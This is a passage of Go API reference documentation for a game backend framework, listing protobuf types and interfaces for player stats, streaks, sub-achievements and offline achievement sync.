func SatoriPersonalizerPublishProgressionEvents

func SatoriPersonalizerPublishProgressionEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishStatsEvents

func SatoriPersonalizerPublishStatsEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishStreaksEvents

func SatoriPersonalizerPublishStreaksEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishTeamsEvents

func SatoriPersonalizerPublishTeamsEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishTutorialsEvents

func SatoriPersonalizerPublishTutorialsEvents() SatoriPersonalizerOption

func SatoriPersonalizerPublishUnlockablesEvents

func SatoriPersonalizerPublishUnlockablesEvents() SatoriPersonalizerOption

type Stat

type Stat struct {

	// Name.
	Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"`
	// Indicator if this belongs to public or private stats.
	Public bool `protobuf:"varint,2,opt,name=public,proto3" json:"public,omitempty"`
	// Update time in UTC seconds.
	UpdateTimeSec int64 `protobuf:"varint,3,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// Current value.
	Value int64 `protobuf:"varint,4,opt,name=value,proto3" json:"value,omitempty"`
	// Number of values submitted.
	Count int64 `protobuf:"varint,5,opt,name=count,proto3" json:"count,omitempty"`
	// Total of all submitted values.
	Total int64 `protobuf:"varint,6,opt,name=total,proto3" json:"total,omitempty"`
	// Smallest value submitted.
	Min int64 `protobuf:"varint,7,opt,name=min,proto3" json:"min,omitempty"`
	// Largest value submitted.
	Max int64 `protobuf:"varint,8,opt,name=max,proto3" json:"max,omitempty"`
	// First value submitted.
	First int64 `protobuf:"varint,9,opt,name=first,proto3" json:"first,omitempty"`
	// Latest value submitted.
	Last int64 `protobuf:"varint,10,opt,name=last,proto3" json:"last,omitempty"`
	// Additional properties.
	AdditionalProperties *structpb.Struct `protobuf:"bytes,11,opt,name=additional_properties,json=additionalProperties,proto3" json:"additional_properties,omitempty"`
	// contains filtered or unexported fields
}

A single stat with associated information.

func (*Stat) Descriptor deprecated

func (*Stat) Descriptor() ([]byte, []int)

Deprecated: Use Stat.ProtoReflect.Descriptor instead.

func (*Stat) GetAdditionalProperties

func (x *Stat) GetAdditionalProperties() *structpb.Struct

func (*Stat) GetCount

func (x *Stat) GetCount() int64

func (*Stat) GetFirst

func (x *Stat) GetFirst() int64

func (*Stat) GetLast

func (x *Stat) GetLast() int64

func (*Stat) GetMax

func (x *Stat) GetMax() int64

func (*Stat) GetMin

func (x *Stat) GetMin() int64

func (*Stat) GetName

func (x *Stat) GetName() string

func (*Stat) GetPublic

func (x *Stat) GetPublic() bool

func (*Stat) GetTotal

func (x *Stat) GetTotal() int64

func (*Stat) GetUpdateTimeSec

func (x *Stat) GetUpdateTimeSec() int64

func (*Stat) GetValue

func (x *Stat) GetValue() int64

func (*Stat) ProtoMessage

func (*Stat) ProtoMessage()

func (*Stat) ProtoReflect

func (x *Stat) ProtoReflect() protoreflect.Message

func (*Stat) Reset

func (x *Stat) Reset()

func (*Stat) String

func (x *Stat) String() string

type StatList

type StatList struct {

	// Public stat names and their associated data.
	Public map[string]*Stat `` /* 153-byte string literal not displayed */
	// Private stat names and their associated data.
	Private map[string]*Stat `` /* 155-byte string literal not displayed */
	// contains filtered or unexported fields
}

A list of stats all belonging to one user.

func (*StatList) Descriptor deprecated

func (*StatList) Descriptor() ([]byte, []int)

Deprecated: Use StatList.ProtoReflect.Descriptor instead.

func (*StatList) GetPrivate

func (x *StatList) GetPrivate() map[string]*Stat

func (*StatList) GetPublic

func (x *StatList) GetPublic() map[string]*Stat

func (*StatList) ProtoMessage

func (*StatList) ProtoMessage()

func (*StatList) ProtoReflect

func (x *StatList) ProtoReflect() protoreflect.Message

func (*StatList) Reset

func (x *StatList) Reset()

func (*StatList) String

func (x *StatList) String() string

type StatUpdate

type StatUpdate struct {

	// Name.
	Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"`
	// Value.
	Value int64 `protobuf:"varint,2,opt,name=value,proto3" json:"value,omitempty"`
	// Operator.
	Operator StatUpdateOperator `protobuf:"varint,3,opt,name=operator,proto3,enum=hiro.StatUpdateOperator" json:"operator,omitempty"`
	// contains filtered or unexported fields
}

Describes a single stat update.

func (*StatUpdate) Descriptor deprecated

func (*StatUpdate) Descriptor() ([]byte, []int)

Deprecated: Use StatUpdate.ProtoReflect.Descriptor instead.

func (*StatUpdate) GetName

func (x *StatUpdate) GetName() string

func (*StatUpdate) GetOperator

func (x *StatUpdate) GetOperator() StatUpdateOperator

func (*StatUpdate) GetValue

func (x *StatUpdate) GetValue() int64

func (*StatUpdate) ProtoMessage

func (*StatUpdate) ProtoMessage()

func (*StatUpdate) ProtoReflect

func (x *StatUpdate) ProtoReflect() protoreflect.Message

func (*StatUpdate) Reset

func (x *StatUpdate) Reset()

func (*StatUpdate) String

func (x *StatUpdate) String() string

type StatUpdateOperator

type StatUpdateOperator int32

Indicate how a stats update should be handled.

const (
	// Unspecified. Defaults to Set.
	StatUpdateOperator_STAT_UPDATE_OPERATOR_UNSPECIFIED StatUpdateOperator = 0
	// Set the given value, overwriting any previous one.
	StatUpdateOperator_STAT_UPDATE_OPERATOR_SET StatUpdateOperator = 1
	// Increment or decrement the existing value by the given amount. Equivalent to Set if no previous value existed.
	StatUpdateOperator_STAT_UPDATE_OPERATOR_DELTA StatUpdateOperator = 2
	// Use the new value if it's lower than the existing one. Equivalent to Set if no previous value existed.
	StatUpdateOperator_STAT_UPDATE_OPERATOR_MIN StatUpdateOperator = 3
	// Use the new value if it's higher than the existing one. Equivalent to Set if no previous value existed.
	StatUpdateOperator_STAT_UPDATE_OPERATOR_MAX StatUpdateOperator = 4
)

func (StatUpdateOperator) Descriptor

func (StatUpdateOperator) Enum

func (StatUpdateOperator) EnumDescriptor deprecated

func (StatUpdateOperator) EnumDescriptor() ([]byte, []int)

Deprecated: Use StatUpdateOperator.Descriptor instead.

func (StatUpdateOperator) Number

func (StatUpdateOperator) String

func (x StatUpdateOperator) String() string

func (StatUpdateOperator) Type

type StatUpdateRequest

type StatUpdateRequest struct {

	// Public stat updates.
	Public []*StatUpdate `protobuf:"bytes,1,rep,name=public,proto3" json:"public,omitempty"`
	// Private stat updates.
	Private []*StatUpdate `protobuf:"bytes,2,rep,name=private,proto3" json:"private,omitempty"`
	// contains filtered or unexported fields
}

Request an optionally batched stats update.

func (*StatUpdateRequest) Descriptor deprecated

func (*StatUpdateRequest) Descriptor() ([]byte, []int)

Deprecated: Use StatUpdateRequest.ProtoReflect.Descriptor instead.

func (*StatUpdateRequest) GetPrivate

func (x *StatUpdateRequest) GetPrivate() []*StatUpdate

func (*StatUpdateRequest) GetPublic

func (x *StatUpdateRequest) GetPublic() []*StatUpdate

func (*StatUpdateRequest) ProtoMessage

func (*StatUpdateRequest) ProtoMessage()

func (*StatUpdateRequest) ProtoReflect

func (x *StatUpdateRequest) ProtoReflect() protoreflect.Message

func (*StatUpdateRequest) Reset

func (x *StatUpdateRequest) Reset()

func (*StatUpdateRequest) String

func (x *StatUpdateRequest) String() string

type StatsConfig

type StatsConfig struct {
	Whitelist    []string                    `json:"whitelist,omitempty"`
	StatsPublic  map[string]*StatsConfigStat `json:"stats_public,omitempty"`
	StatsPrivate map[string]*StatsConfigStat `json:"stats_private,omitempty"`
}

StatsConfig is the data definition for a StatsSystem type.

type StatsConfigStat

type StatsConfigStat struct {
	Value                int64                  `json:"value,omitempty"`
	AdditionalProperties map[string]interface{} `json:"additional_properties,omitempty"`
}

type StatsSystem

type StatsSystem interface {
	System

	// List all private stats for one or more users.
	List(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, userIDs []string) (stats map[string]*StatList, err error)

	// Update private stats for a particular user.
	Update(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, publicStats []*StatUpdate, privateStats []*StatUpdate) (stats *StatList, err error)
}

type StoragePersonalizer

type StoragePersonalizer struct {
	sync.RWMutex
	// contains filtered or unexported fields
}

func NewStoragePersonalizer

func NewStoragePersonalizer(logger runtime.Logger, cacheExpirySec int, collection string, initializer runtime.Initializer, register bool) *StoragePersonalizer

func NewStoragePersonalizerDefault

func NewStoragePersonalizerDefault(logger runtime.Logger, initializer runtime.Initializer, register bool) *StoragePersonalizer

func (*StoragePersonalizer) GetValue

func (p *StoragePersonalizer) GetValue(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, system System, userID string) (any, error)

type StoragePersonalizerCachedStorageObject

type StoragePersonalizerCachedStorageObject struct {
	// contains filtered or unexported fields
}

type Streak

type Streak struct {

	// Unique identifier.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// Display name for this streak.
	Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"`
	// A user-facing description for this streak.
	Description string `protobuf:"bytes,3,opt,name=description,proto3" json:"description,omitempty"`
	// Current overall progress count.
	Count int64 `protobuf:"varint,4,opt,name=count,proto3" json:"count,omitempty"`
	// Maximum allowed overall progress count.
	MaxCount int64 `protobuf:"varint,5,opt,name=max_count,json=maxCount,proto3" json:"max_count,omitempty"`
	// Progress count submitted during this reset.
	CountCurrentReset int64 `protobuf:"varint,6,opt,name=count_current_reset,json=countCurrentReset,proto3" json:"count_current_reset,omitempty"`
	// Maximum progress count allowed during any single reset.
	MaxCountCurrentReset int64 `` /* 126-byte string literal not displayed */
	// How much overall count is lost per idle reset.
	IdleCountDecayReset int64 `protobuf:"varint,8,opt,name=idle_count_decay_reset,json=idleCountDecayReset,proto3" json:"idle_count_decay_reset,omitempty"`
	// How much overall count can be lost total in any contiguous idle period.
	MaxIdleCountDecay int64 `protobuf:"varint,9,opt,name=max_idle_count_decay,json=maxIdleCountDecay,proto3" json:"max_idle_count_decay,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the streak's last reset period was.
	PrevResetTimeSec int64 `protobuf:"varint,10,opt,name=prev_reset_time_sec,json=prevResetTimeSec,proto3" json:"prev_reset_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the streak's next reset period is.
	ResetTimeSec int64 `protobuf:"varint,11,opt,name=reset_time_sec,json=resetTimeSec,proto3" json:"reset_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the streak was first registered for this user.
	CreateTimeSec int64 `protobuf:"varint,12,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the streak was last updated.
	UpdateTimeSec int64 `protobuf:"varint,13,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the streak was last claimed.
	ClaimTimeSec int64 `protobuf:"varint,14,opt,name=claim_time_sec,json=claimTimeSec,proto3" json:"claim_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the streak becomes available for use.
	StartTimeSec int64 `protobuf:"varint,15,opt,name=start_time_sec,json=startTimeSec,proto3" json:"start_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the streak is no longer available for use.
	EndTimeSec int64 `protobuf:"varint,16,opt,name=end_time_sec,json=endTimeSec,proto3" json:"end_time_sec,omitempty"`
	// All rewards configured for this streak.
	Rewards []*StreakAvailableReward `protobuf:"bytes,17,rep,name=rewards,proto3" json:"rewards,omitempty"`
	// Rewards currently available to claim for this streak.
	AvailableRewards []*StreakAvailableReward `protobuf:"bytes,18,rep,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// Claimed rewards.
	ClaimedRewards []*StreakReward `protobuf:"bytes,19,rep,name=claimed_rewards,json=claimedRewards,proto3" json:"claimed_rewards,omitempty"`
	// Flag indicating if this streak can currently be claimed to obtain some rewards.
	CanClaim bool `protobuf:"varint,20,opt,name=can_claim,json=canClaim,proto3" json:"can_claim,omitempty"`
	// Flag indicating if submitting a count update is allowed.
	CanUpdate bool `protobuf:"varint,21,opt,name=can_update,json=canUpdate,proto3" json:"can_update,omitempty"`
	// Flag indicating if resetting the streak is allowed.
	CanReset bool `protobuf:"varint,22,opt,name=can_reset,json=canReset,proto3" json:"can_reset,omitempty"`
	// Last count that was claimed.
	ClaimCount int64 `protobuf:"varint,23,opt,name=claim_count,json=claimCount,proto3" json:"claim_count,omitempty"`
	// contains filtered or unexported fields
}

An individual streak, along with its status and progress if any.

func (*Streak) Descriptor deprecated

func (*Streak) Descriptor() ([]byte, []int)

Deprecated: Use Streak.ProtoReflect.Descriptor instead.

func (*Streak) GetAvailableRewards

func (x *Streak) GetAvailableRewards() []*StreakAvailableReward

func (*Streak) GetCanClaim

func (x *Streak) GetCanClaim() bool

func (*Streak) GetCanReset

func (x *Streak) GetCanReset() bool

func (*Streak) GetCanUpdate

func (x *Streak) GetCanUpdate() bool

func (*Streak) GetClaimCount

func (x *Streak) GetClaimCount() int64

func (*Streak) GetClaimTimeSec

func (x *Streak) GetClaimTimeSec() int64

func (*Streak) GetClaimedRewards

func (x *Streak) GetClaimedRewards() []*StreakReward

func (*Streak) GetCount

func (x *Streak) GetCount() int64

func (*Streak) GetCountCurrentReset

func (x *Streak) GetCountCurrentReset() int64

func (*Streak) GetCreateTimeSec

func (x *Streak) GetCreateTimeSec() int64

func (*Streak) GetDescription

func (x *Streak) GetDescription() string

func (*Streak) GetEndTimeSec

func (x *Streak) GetEndTimeSec() int64

func (*Streak) GetId

func (x *Streak) GetId() string

func (*Streak) GetIdleCountDecayReset

func (x *Streak) GetIdleCountDecayReset() int64

func (*Streak) GetMaxCount

func (x *Streak) GetMaxCount() int64

func (*Streak) GetMaxCountCurrentReset

func (x *Streak) GetMaxCountCurrentReset() int64

func (*Streak) GetMaxIdleCountDecay

func (x *Streak) GetMaxIdleCountDecay() int64

func (*Streak) GetName

func (x *Streak) GetName() string

func (*Streak) GetPrevResetTimeSec

func (x *Streak) GetPrevResetTimeSec() int64

func (*Streak) GetResetTimeSec

func (x *Streak) GetResetTimeSec() int64

func (*Streak) GetRewards

func (x *Streak) GetRewards() []*StreakAvailableReward

func (*Streak) GetStartTimeSec

func (x *Streak) GetStartTimeSec() int64

func (*Streak) GetUpdateTimeSec

func (x *Streak) GetUpdateTimeSec() int64

func (*Streak) ProtoMessage

func (*Streak) ProtoMessage()

func (*Streak) ProtoReflect

func (x *Streak) ProtoReflect() protoreflect.Message

func (*Streak) Reset

func (x *Streak) Reset()

func (*Streak) String

func (x *Streak) String() string

type StreakAvailableReward

type StreakAvailableReward struct {

	// Minimum streak progress count required for this reward, inclusive.
	CountMin int64 `protobuf:"varint,1,opt,name=count_min,json=countMin,proto3" json:"count_min,omitempty"`
	// Maximum streak progress count required for this reward, inclusive.
	CountMax int64 `protobuf:"varint,2,opt,name=count_max,json=countMax,proto3" json:"count_max,omitempty"`
	// Available reward contents.
	Reward *AvailableRewards `protobuf:"bytes,3,opt,name=reward,proto3" json:"reward,omitempty"`
	// contains filtered or unexported fields
}

Represents an available reward based on the progress of a streak.

func (*StreakAvailableReward) Descriptor deprecated

func (*StreakAvailableReward) Descriptor() ([]byte, []int)

Deprecated: Use StreakAvailableReward.ProtoReflect.Descriptor instead.

func (*StreakAvailableReward) GetCountMax

func (x *StreakAvailableReward) GetCountMax() int64

func (*StreakAvailableReward) GetCountMin

func (x *StreakAvailableReward) GetCountMin() int64

func (*StreakAvailableReward) GetReward

func (x *StreakAvailableReward) GetReward() *AvailableRewards

func (*StreakAvailableReward) ProtoMessage

func (*StreakAvailableReward) ProtoMessage()

func (*StreakAvailableReward) ProtoReflect

func (x *StreakAvailableReward) ProtoReflect() protoreflect.Message

func (*StreakAvailableReward) Reset

func (x *StreakAvailableReward) Reset()

func (*StreakAvailableReward) String

func (x *StreakAvailableReward) String() string

type StreakReward

type StreakReward struct {

	// Minimum streak progress count required for this reward, inclusive.
	CountMin int64 `protobuf:"varint,1,opt,name=count_min,json=countMin,proto3" json:"count_min,omitempty"`
	// Maximum streak progress count required for this reward, inclusive.
	CountMax int64 `protobuf:"varint,2,opt,name=count_max,json=countMax,proto3" json:"count_max,omitempty"`
	// Reward that was actually granted.
	Reward *Reward `protobuf:"bytes,3,opt,name=reward,proto3" json:"reward,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when this reward was claimed.
	ClaimTimeSec int64 `protobuf:"varint,4,opt,name=claim_time_sec,json=claimTimeSec,proto3" json:"claim_time_sec,omitempty"`
	// contains filtered or unexported fields
}

A single claimed streak reward.

func (*StreakReward) Descriptor deprecated

func (*StreakReward) Descriptor() ([]byte, []int)

Deprecated: Use StreakReward.ProtoReflect.Descriptor instead.

func (*StreakReward) GetClaimTimeSec

func (x *StreakReward) GetClaimTimeSec() int64

func (*StreakReward) GetCountMax

func (x *StreakReward) GetCountMax() int64

func (*StreakReward) GetCountMin

func (x *StreakReward) GetCountMin() int64

func (*StreakReward) GetReward

func (x *StreakReward) GetReward() *Reward

func (*StreakReward) ProtoMessage

func (*StreakReward) ProtoMessage()

func (*StreakReward) ProtoReflect

func (x *StreakReward) ProtoReflect() protoreflect.Message

func (*StreakReward) Reset

func (x *StreakReward) Reset()

func (*StreakReward) String

func (x *StreakReward) String() string

type StreaksClaimRequest

type StreaksClaimRequest struct {

	// List of streak identifiers to claim.
	Ids []string `protobuf:"bytes,1,rep,name=ids,proto3" json:"ids,omitempty"`
	// contains filtered or unexported fields
}

Request to claim rewards for one or more streaks.

func (*StreaksClaimRequest) Descriptor deprecated

func (*StreaksClaimRequest) Descriptor() ([]byte, []int)

Deprecated: Use StreaksClaimRequest.ProtoReflect.Descriptor instead.

func (*StreaksClaimRequest) GetIds

func (x *StreaksClaimRequest) GetIds() []string

func (*StreaksClaimRequest) ProtoMessage

func (*StreaksClaimRequest) ProtoMessage()

func (*StreaksClaimRequest) ProtoReflect

func (x *StreaksClaimRequest) ProtoReflect() protoreflect.Message

func (*StreaksClaimRequest) Reset

func (x *StreaksClaimRequest) Reset()

func (*StreaksClaimRequest) String

func (x *StreaksClaimRequest) String() string

type StreaksConfig

type StreaksConfig struct {
	Streaks map[string]*StreaksConfigStreak `json:"streaks,omitempty"`
}

StreaksConfig is the data definition for a StreaksSystem type.

type StreaksConfigStreak

type StreaksConfigStreak struct {
	Name                 string                       `json:"name,omitempty"`
	Description          string                       `json:"description,omitempty"`
	Count                int64                        `json:"count,omitempty"`
	MaxCount             int64                        `json:"max_count,omitempty"`
	MaxCountCurrentReset int64                        `json:"max_count_current_reset,omitempty"`
	IdleCountDecayReset  int64                        `json:"idle_count_decay_reset,omitempty"`
	MaxIdleCountDecay    int64                        `json:"max_idle_count_decay,omitempty"`
	ResetCronexpr        string                       `json:"reset_cronexpr,omitempty"`
	Rewards              []*StreaksConfigStreakReward `json:"rewards,omitempty"`
	StartTimeSec         int64                        `json:"start_time_sec,omitempty"`
	EndTimeSec           int64                        `json:"end_time_sec,omitempty"`
	Disabled             bool                         `json:"disabled,omitempty"`
}

type StreaksConfigStreakReward

type StreaksConfigStreakReward struct {
	CountMin int64                `json:"count_min,omitempty"`
	CountMax int64                `json:"count_max,omitempty"`
	Reward   *EconomyConfigReward `json:"reward,omitempty"`
}

type StreaksList

type StreaksList struct {

	// All available streaks for the caller.
	Streaks map[string]*Streak `` /* 155-byte string literal not displayed */
	// contains filtered or unexported fields
}

A list of all streaks for a given user.

func (*StreaksList) Descriptor deprecated

func (*StreaksList) Descriptor() ([]byte, []int)

Deprecated: Use StreaksList.ProtoReflect.Descriptor instead.

func (*StreaksList) GetStreaks

func (x *StreaksList) GetStreaks() map[string]*Streak

func (*StreaksList) ProtoMessage

func (*StreaksList) ProtoMessage()

func (*StreaksList) ProtoReflect

func (x *StreaksList) ProtoReflect() protoreflect.Message

func (*StreaksList) Reset

func (x *StreaksList) Reset()

func (*StreaksList) String

func (x *StreaksList) String() string

type StreaksResetRequest

type StreaksResetRequest struct {

	// List of streak identifiers to reset.
	Ids []string `protobuf:"bytes,1,rep,name=ids,proto3" json:"ids,omitempty"`
	// contains filtered or unexported fields
}

Request to fully reset the progress of one or more streaks.

func (*StreaksResetRequest) Descriptor deprecated

func (*StreaksResetRequest) Descriptor() ([]byte, []int)

Deprecated: Use StreaksResetRequest.ProtoReflect.Descriptor instead.

func (*StreaksResetRequest) GetIds

func (x *StreaksResetRequest) GetIds() []string

func (*StreaksResetRequest) ProtoMessage

func (*StreaksResetRequest) ProtoMessage()

func (*StreaksResetRequest) ProtoReflect

func (x *StreaksResetRequest) ProtoReflect() protoreflect.Message

func (*StreaksResetRequest) Reset

func (x *StreaksResetRequest) Reset()

func (*StreaksResetRequest) String

func (x *StreaksResetRequest) String() string

type StreaksSystem

type StreaksSystem interface {
	System

	// List all streaks and their current state and progress for a given user.
	List(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string) (streaks map[string]*Streak, err error)

	// Update one or more streaks with the indicated counts for the given user.
	Update(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, streakIDs map[string]int64) (streaks map[string]*Streak, err error)

	// Claim rewards for one or more streaks for the given user.
	Claim(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, streakIDs []string) (streaks map[string]*Streak, err error)

	// Reset progress on selected streaks for the given user.
	Reset(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, streakIDs []string) (streaks map[string]*Streak, err error)

	// SetOnClaimReward sets a custom reward function which will run after a streak's reward is rolled.
	SetOnClaimReward(fn OnReward[*StreaksConfigStreak])
}

type StreaksUpdateRequest

type StreaksUpdateRequest struct {

	// Update one or more streaks by identifier.
	Updates map[string]int64 `` /* 156-byte string literal not displayed */
	// contains filtered or unexported fields
}

Request to update one or more streaks with new progress.

func (*StreaksUpdateRequest) Descriptor deprecated

func (*StreaksUpdateRequest) Descriptor() ([]byte, []int)

Deprecated: Use StreaksUpdateRequest.ProtoReflect.Descriptor instead.

func (*StreaksUpdateRequest) GetUpdates

func (x *StreaksUpdateRequest) GetUpdates() map[string]int64

func (*StreaksUpdateRequest) ProtoMessage

func (*StreaksUpdateRequest) ProtoMessage()

func (*StreaksUpdateRequest) ProtoReflect

func (x *StreaksUpdateRequest) ProtoReflect() protoreflect.Message

func (*StreaksUpdateRequest) Reset

func (x *StreaksUpdateRequest) Reset()

func (*StreaksUpdateRequest) String

func (x *StreaksUpdateRequest) String() string

type StreamEnvelope

type StreamEnvelope struct {

	// Types that are assignable to Message:
	//
	//	*StreamEnvelope_AuctionBid
	Message isStreamEnvelope_Message `protobuf_oneof:"message"`
	// contains filtered or unexported fields
}

Server to client stream envelope.

func (*StreamEnvelope) Descriptor deprecated

func (*StreamEnvelope) Descriptor() ([]byte, []int)

Deprecated: Use StreamEnvelope.ProtoReflect.Descriptor instead.

func (*StreamEnvelope) GetAuctionBid

func (x *StreamEnvelope) GetAuctionBid() *AuctionNotificationBid

func (*StreamEnvelope) GetMessage

func (m *StreamEnvelope) GetMessage() isStreamEnvelope_Message

func (*StreamEnvelope) ProtoMessage

func (*StreamEnvelope) ProtoMessage()

func (*StreamEnvelope) ProtoReflect

func (x *StreamEnvelope) ProtoReflect() protoreflect.Message

func (*StreamEnvelope) Reset

func (x *StreamEnvelope) Reset()

func (*StreamEnvelope) String

func (x *StreamEnvelope) String() string

type StreamEnvelope_AuctionBid

type StreamEnvelope_AuctionBid struct {
	AuctionBid *AuctionNotificationBid `protobuf:"bytes,1,opt,name=auction_bid,json=auctionBid,proto3,oneof"`
}

type SubAchievement

type SubAchievement struct {

	// The category to group the sub-achievement together with others.
	Category string `protobuf:"bytes,1,opt,name=category,proto3" json:"category,omitempty"`
	// The UNIX timestamp for when the sub-achievement reward was claimed, or zero if unclaimed.
	ClaimTimeSec int64 `protobuf:"varint,2,opt,name=claim_time_sec,json=claimTimeSec,proto3" json:"claim_time_sec,omitempty"`
	// The count of the sub-achievement.
	Count int64 `protobuf:"varint,3,opt,name=count,proto3" json:"count,omitempty"`
	// The UNIX timestamp for the current server time.
	CurrentTimeSec int64 `protobuf:"varint,4,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// A description of the sub-achievement. May be an i18n code.
	Description string `protobuf:"bytes,5,opt,name=description,proto3" json:"description,omitempty"`
	// The UNIX timestamp when this sub-achievement will expire. This may be before its next reset. A zero means it does not expire.
	ExpireTimeSec int64 `protobuf:"varint,6,opt,name=expire_time_sec,json=expireTimeSec,proto3" json:"expire_time_sec,omitempty"`
	// The ID of the sub-achievement.
	Id string `protobuf:"bytes,7,opt,name=id,proto3" json:"id,omitempty"`
	// The maximum count of the sub-achievement.
	MaxCount int64 `protobuf:"varint,8,opt,name=max_count,json=maxCount,proto3" json:"max_count,omitempty"`
	// The name of the sub-achievement. May be an i18n code.
	Name string `protobuf:"bytes,9,opt,name=name,proto3" json:"name,omitempty"`
	// The IDs which are a precondition on the progress to be made on this sub-achievement.
	PreconditionIds []string `protobuf:"bytes,10,rep,name=precondition_ids,json=preconditionIds,proto3" json:"precondition_ids,omitempty"`
	// The UNIX timestamp when this sub-achievement will reset.
	ResetTimeSec int64 `protobuf:"varint,11,opt,name=reset_time_sec,json=resetTimeSec,proto3" json:"reset_time_sec,omitempty"`
	// The outcome (rolled) reward for the achievement, if any.
	Reward *Reward `protobuf:"bytes,12,opt,name=reward,proto3" json:"reward,omitempty"`
	// The available reward and its probabilities.
	AvailableRewards *AvailableRewards `protobuf:"bytes,13,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 210-byte string literal not displayed */
	// Whether the sub-achievement reward will be given automatically upon completion.
	AutoClaim bool `protobuf:"varint,15,opt,name=auto_claim,json=autoClaim,proto3" json:"auto_claim,omitempty"`
	// Whether the sub-achievement will reset after completion.
	AutoReset bool `protobuf:"varint,16,opt,name=auto_reset,json=autoReset,proto3" json:"auto_reset,omitempty"`
	// contains filtered or unexported fields
}

A sub-achievement is an achievement which belongs as part of a parent achievement.

func (*SubAchievement) Descriptor deprecated

func (*SubAchievement) Descriptor() ([]byte, []int)

Deprecated: Use SubAchievement.ProtoReflect.Descriptor instead.

func (*SubAchievement) GetAdditionalProperties

func (x *SubAchievement) GetAdditionalProperties() map[string]string

func (*SubAchievement) GetAutoClaim

func (x *SubAchievement) GetAutoClaim() bool

func (*SubAchievement) GetAutoReset

func (x *SubAchievement) GetAutoReset() bool

func (*SubAchievement) GetAvailableRewards

func (x *SubAchievement) GetAvailableRewards() *AvailableRewards

func (*SubAchievement) GetCategory

func (x *SubAchievement) GetCategory() string

func (*SubAchievement) GetClaimTimeSec

func (x *SubAchievement) GetClaimTimeSec() int64

func (*SubAchievement) GetCount

func (x *SubAchievement) GetCount() int64

func (*SubAchievement) GetCurrentTimeSec

func (x *SubAchievement) GetCurrentTimeSec() int64

func (*SubAchievement) GetDescription

func (x *SubAchievement) GetDescription() string

func (*SubAchievement) GetExpireTimeSec

func (x *SubAchievement) GetExpireTimeSec() int64

func (*SubAchievement) GetId

func (x *SubAchievement) GetId() string

func (*SubAchievement) GetMaxCount

func (x *SubAchievement) GetMaxCount() int64

func (*SubAchievement) GetName

func (x *SubAchievement) GetName() string

func (*SubAchievement) GetPreconditionIds

func (x *SubAchievement) GetPreconditionIds() []string

func (*SubAchievement) GetResetTimeSec

func (x *SubAchievement) GetResetTimeSec() int64

func (*SubAchievement) GetReward

func (x *SubAchievement) GetReward() *Reward

func (*SubAchievement) ProtoMessage

func (*SubAchievement) ProtoMessage()

func (*SubAchievement) ProtoReflect

func (x *SubAchievement) ProtoReflect() protoreflect.Message

func (*SubAchievement) Reset

func (x *SubAchievement) Reset()

func (*SubAchievement) String

func (x *SubAchievement) String() string

type SyncAchievements

type SyncAchievements struct {

	// Achievement updates and associated metadata.
	Achievements map[string]*SyncAchievementsUpdate `` /* 165-byte string literal not displayed */
	// contains filtered or unexported fields
}

Input for an offline state sync operation for the achievements system.

func (*SyncAchievements) Descriptor deprecated

func (*SyncAchievements) Descriptor() ([]byte, []int)

Deprecated: Use SyncAchievements.ProtoReflect.Descriptor instead.

func (*SyncAchievements) GetAchievements

func (x *SyncAchievements) GetAchievements() map[string]*SyncAchievementsUpdate

func (*SyncAchievements) ProtoMessage

func (*SyncAchievements) ProtoMessage()

func (*SyncAchievements) ProtoReflect

func (x *SyncAchievements) ProtoReflect() protoreflect.Message

func (*SyncAchievements) Reset

func (x *SyncAchievements) Reset()

func (*SyncAchievements) String

func (x *SyncAchievements) String() string

type SyncAchievementsUpdate

type SyncAchievementsUpdate struct {

	// Count to add.
	Count int64 `protobuf:"varint,1,opt,name=count,proto3" json:"count,omitempty"`
	// Time when the achievement first recorded progress.
	CreateTimeSec int64 `protobuf:"varint,2,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// Time when the achievement update was generated on the client.
	UpdateTimeSec int64 `protobuf:"varint,3,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// Claim time, if claimed offline.
	ClaimTimeSec int64 `protobuf:"varint,4,opt,name=claim_time_sec,json=claimTimeSec,proto3" json:"claim_time_sec,omitempty"`
	// Total claim time, if claimed offline.
	TotalClaimTimeSec int64 `protobuf:"varint,5,opt,name=total_claim_time_sec,json=totalClaimTimeSec,proto3" json:"total_claim_time_sec,omitempty"`
	// contains filtered or unexported fields
}

Sync operation for a single achievement.

func (*SyncAchievementsUpdate) Descriptor deprecated

func (*SyncAchievementsUpdate) Descriptor() ([]byte, []int)

Deprecated: Use SyncAchievementsUpdate.ProtoReflect.Descriptor instead.

